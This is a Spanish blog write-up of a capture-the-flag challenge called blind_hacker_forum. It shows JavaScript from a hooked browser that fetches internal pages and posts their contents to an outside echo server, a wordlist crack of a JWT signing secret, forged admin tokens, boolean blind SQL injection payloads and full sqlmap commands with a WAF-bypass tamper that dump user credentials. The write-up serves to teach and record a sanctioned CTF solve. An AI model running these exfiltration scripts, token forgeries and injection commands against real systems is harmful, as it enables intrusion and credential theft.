Como decíamos en el anterior post, esta vez tenemos que usar http://blind_hacker_forum. Vamos allá.
Modificamos index.js para que haga un fetch a la nueva url y nos devuelva el resultado vía POST a nuestro servidor echo.
fetch("http://blind_hacker_forum").then( res => res.text()).then( data => { fetch("http://ikasten.io:3000/echo", { method: 'POST', body: data }); })
Observamos el resultado:
<html> <h1> BLIND HACKER ACTUAL FORUM </h1> <h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1> </html> Meet token.php and share your indextoken.
Vaya, hay que acudir a token.php y obtener indextoken. Aquí probé a acudir a token.php del nuevo servidor, pero no, hay que ir al token.php de http://blind_hacker.
Así que modificamos el código:
fetch(victimURL + "token.php").then(res => res.text()).then(data => { token = data.split(" ")[4]; return token; }).then( token => { fetch("http://blind_hacker_forum/?indextoken="+token).then( res => res.text()).then( data => { fetch("http://ikasten.io:3000/echo", { method: 'POST', body: data }); }) })
Y observamos el resultado:
<html> <h1> BLIND HACKER ACTUAL FORUM </h1> <h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1> </html> Meet /token and share your forumtoken.
Un nuevo twist a la trama 🙂 Aparte del indextoken de blind_hacker es necesario pasar el forumtoken obtenido de http://blind_hacker_forum/token.
Tenemos que analizar cómo nos devuelve dicho /token.
fetch("http://blind_hacker_forum/token").then(res => res.text()).then( data => { fetch("http://ikasten.io:3000/echo", { method: 'POST', body: data }); });
Bueno, no parece complicado:
<html> <h1> BLIND HACKER ACTUAL FORUM </h1> <h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1> </html> There you go -> ceqjaobnxbtsmxaqdivkulqmuteimmpxpkjjsugsxksyxoednhyjuuahcd
Pero ojo, aunque la última línea sigue la misma estructura que el indextoken, nos está enviando por delante todo el HTML del forum… Así que vamos a cambiar ligeramente el split() que usamos para obtener el token, así:
forumtoken = data.split(«-> «)[1]
Quedando el código en esta versión:
fetch("http://blind_hacker_forum/token").then(res => res.text()).then( data => { forumtoken = data.split("-> ")[1] return forumtoken; }).then( forumtoken => { fetch(victimURL + "token.php").then(res => res.text()).then(data => { indextoken = data.split(" ")[4]; return indextoken; }).then( indextoken => { fetch("http://blind_hacker_forum/?indextoken="+indextoken+"&forumtoken="+forumtoken).then( res => res.text()).then( data => { fetch("http://ikasten.io:3000/echo", { method: 'POST', body: data }); }) }) })
¿Qué nos llega ahora como respuesta?
<html> <h1> BLIND HACKER ACTUAL FORUM </h1> <h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1> </html> You were not authed, but I have just sent you a guest permission.
Mmmh… ¿nos ha enviado permisos de invitado? ¿Dónde? Lo único que no capturamos por ahora son las cabeceras de la respuesta. Me temo que ya sé dónde nos envía el “guest permission”. Vamos a comprobarlo.
Necesitamos modificar nuestro proxy para que además del body de la respuesta nos rebote los headers de la misma. Afortunadamente en JavaScript disponemos de la clase Headers, que podemos usar tanto para capturar las cabeceras de la respuesta como para enviar headers propios en la petición.
Básicamente, nuestro hooked browser debe responder con un echo de las cabeceras que encuentre:
fetch("http://blind_hacker_forum/?indextoken="+indextoken+"&forumtoken="+forumtoken).then( res => { let respuesta = res.text(); for (var p of res.headers) respuesta += p + "\n"; return respuesta; } ).then( data => { fetch("http://ikasten.io:3000/echo", { method: 'POST', body: data }); }) }) })
Y dichas cabeceras son:
content-length,218
content-type,text/html; charset=utf-8
date,Thu, 11 Jun 2020 18:40:29 GMT
forum_auth,eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEzMzciLCJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJoNHgwciIsImVtYWlsIjoiZ3Vlc3RAd2hlcmUuZXZlciIsImlzX2FkbWluIjoibm8ifQ.dpWu5YCBeeOBknVGhkPPCz0d30PFABcGIB0aEQEWg5o
server,Werkzeug/1.0.1 Python/3.6.10
Vaya, vaya, forum_auth en una cabecera que tiene toda la pinta de ser otro token, en este caso un token JWT. Vamos a comprobarlo en JWT.io :
¡Premio! El payload del JWT nos muestra algo muy interesante:
{ "id": "1337", "username": "guest", "password": "h4x0r", "email": "guest@where.ever", "is_admin": "no" }
Intenté distintas estrategias de ataque contra JWT hasta que recurrí a la fuerza bruta para intentar descubrir la clave con la que se firma el token JWT. A ser posible usando un diccionario y tal vez por aquello de “listen to rock & roll”, el rockyou.txt podría ser una buena opción, pero me daba algunos problemas por caracteres no reconocidos como utf-8, así que use un simple diccionario de palabras comunes con este cracker JWT :
$ python jwtcat.py wordlist -w /tmp/common.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEzMzciLCJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJoNHgwciIsImVtYWlsIjoiZ3Vlc3RAd2hlcmUuZXZlciIsImlzX2FkbWluIjoibm8ifQ.dpWu5YCBeeOBknVGhkPPCz0d30PFABcGIB0aEQEWg5o 2020-06-11 22:58:19,666 Juanan-2.local __main__[6659] INFO Pour yourself a cup (or two) of ☕ as this operation might take a while depending on the size of your wordlist. | 1225/4658 [00:00<00:00, 13276.10it/s] 2020-06-11 22:58:19,817 Juanan-2.local __main__[6659] INFO Private key found: cookie 2020-06-11 22:58:19,817 Juanan-2.local __main__[6659] INFO Finished in 0.15151715278625488 sec
Bonito secret key: cookie 🙂
Ya podemos cambiar el valor del payload del JWT y lanzarlo contra el forum, a ver qué pasa.
Creando tokens JWT
Es sencillo crear tokens JWT válidos usando node:
const jwt = require('jwt-simple'); const secret = "cookie"; let payload= { "Id":"1337", "Username":"guest", "Password":"h4x0r", "email":"guest@where.ever", "is_admin":"no"}; let pwn = jwt.encode(payload, secret);
El resultado (pwn) hay que enviarlo como cabecera desde el hooked browser hasta el servidor blind_hacker_forum. Como ya se ha comentado, esto podemos hacerlo con la clase Headers:
const myHeaders = new Headers(); myHeaders.set('content-type', text_id.contentType); myHeaders.set('forum_auth', text_id.text); fetch(victimURL + 'check?indextoken=' + indextoken + '&forumtoken=' + forumtoken, { method: 'GET', headers: myHeaders }).then(res => { return res.text(); })
Si enviamos el token JWT sin modificar, obtendremos la siguiente respuesta:
<html> <h1> BLIND HACKER ACTUAL FORUM </h1> <h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1> </html> It's a match!
Forging the payload
¿Qué ocurrirá si modificamos el atributo is_admin: no
para que sea is_admin: yes
?
let payload= { "Id":"1337", "Username":"guest", "Password":"h4x0r", "email":"guest@where.ever", "is_admin":"yes"};
Algo muy interesante:
<html> <h1> BLIND HACKER ACTUAL FORUM </h1> <h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1> </html> There was an error, please have a look *carefully* and check everything: SELECT username, password, email, is_admin FROM userinfo WHERE username = 'guest' AND password = 'h4x0r' AND email = 'guest@where.ever' AND is_admin = 'yes'
Dos respuestas, una en la que conseguimos un true o similar y otra en la que conseguimos un false o similar implican que podemos consultar la BBDD a través de Blind SQL. Podemos verificarlo inyectando estos dos payload:
is_admin=’no' AND 1=1--"
Devuelve un It’s a match. (TRUE, la condición se cumple)
is_admin=’no’ AND 1=0--"
Devuelve el mensaje de error SQL. (FALSE, la condición no se cumple)
El problema es que la inyección debemos introducirla a través del payload JWT. Vamos allá….
SQLMap al rescate
De nuevo, la herramienta proxy que hemos desarrollado para superar la primera parte de este reto nos va a venir de perlas ahora (usar la rama forumtoken en esta ocasión). Por supuesto, la siguiente línea llevó muuuuchas horas extraerla, pero bueno, esa parte del aprendizaje me la quedo:
$ sqlmap --proxy=http://127.0.0.1:3000 -u http://blind_hacker_forum/ --data="*" --technique=B --dbms=PostgreSQL --prefix="'" --suffix="--" --skip-urlencode --dbs --threads=4 --tamper=between
Nota: –skip-urlencode es necesario porque el carácter % está filtrado en blind_hacker_forum
También están filtrados los signos “<” y “>”, de ahí el tamper=between que implementa estas sustituciones:
>>> tamper('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' >>> tamper('1 AND A = B--') '1 AND A BETWEEN B AND B--'
Finalmente el payload de SQLmap debemos pasárselo como parámetros POST a nuestro proxy sin indicar variables, de ahí el –data=”*” (el asterisco indica punto de inyección). Nuestro proxy añadirá esa inyección aquí:
let payload= { "Id":"1337", "Username":"guest", "Password":"h4x0r", "email":"guest@where.ever", "is_admin":"no" + inyeccion};
Codificará el JWT y lo enviará a blind_hacker_forum (a través del socket, etc.)
Veamos… Parece que le gusta 🙂
Nombre de las tablas en BBDD public:
$ sqlmap --proxy=http://127.0.0.1:3000 -u http://blind_hacker_forum/ --data="*" --technique=B --dbms=PostgreSQL --prefix="'" --suffix="--" --skip-urlencode --tables -D public --threads=4 --tamper=between
Pedir la lista de columnas hacía saltar el WAF otra vez. Pero si ya sabemos cuáles son… mejor pedir su contenido directamente 🙂
$ sqlmap --proxy=http://127.0.0.1:3000 -u http://blind_hacker_forum/ --data="*" --technique=B --dbms=PostgreSQL --prefix="'" --suffix="--" --skip-urlencode -C username --dump -T userinfo -D public --threads=4 --tamper=between -v 6
Pedimos igualmente los campos password, is_admin y email. Y nos llevamos el botín:
$ paste /ikasten/.sqlmap/output/blind_hacker_forum/dump/public/userinfo.* |column -s $'\t' -t password username email is_admin admin_password administrator admin@domain.admin no h4x0r auser guest@where.ever no letsputsomepxd$ betauser i@told.u XXXREDACTEDXXXX you4recrazy guest XXXREDACTEDXXXX yes
PD: aquí todo queda bonito y limpio, pero hubo mucho trabajo manual y sucio por detrás.
Gracias a @jorge_ctf por la creación del reto y el soporte ofrecido. Hats off!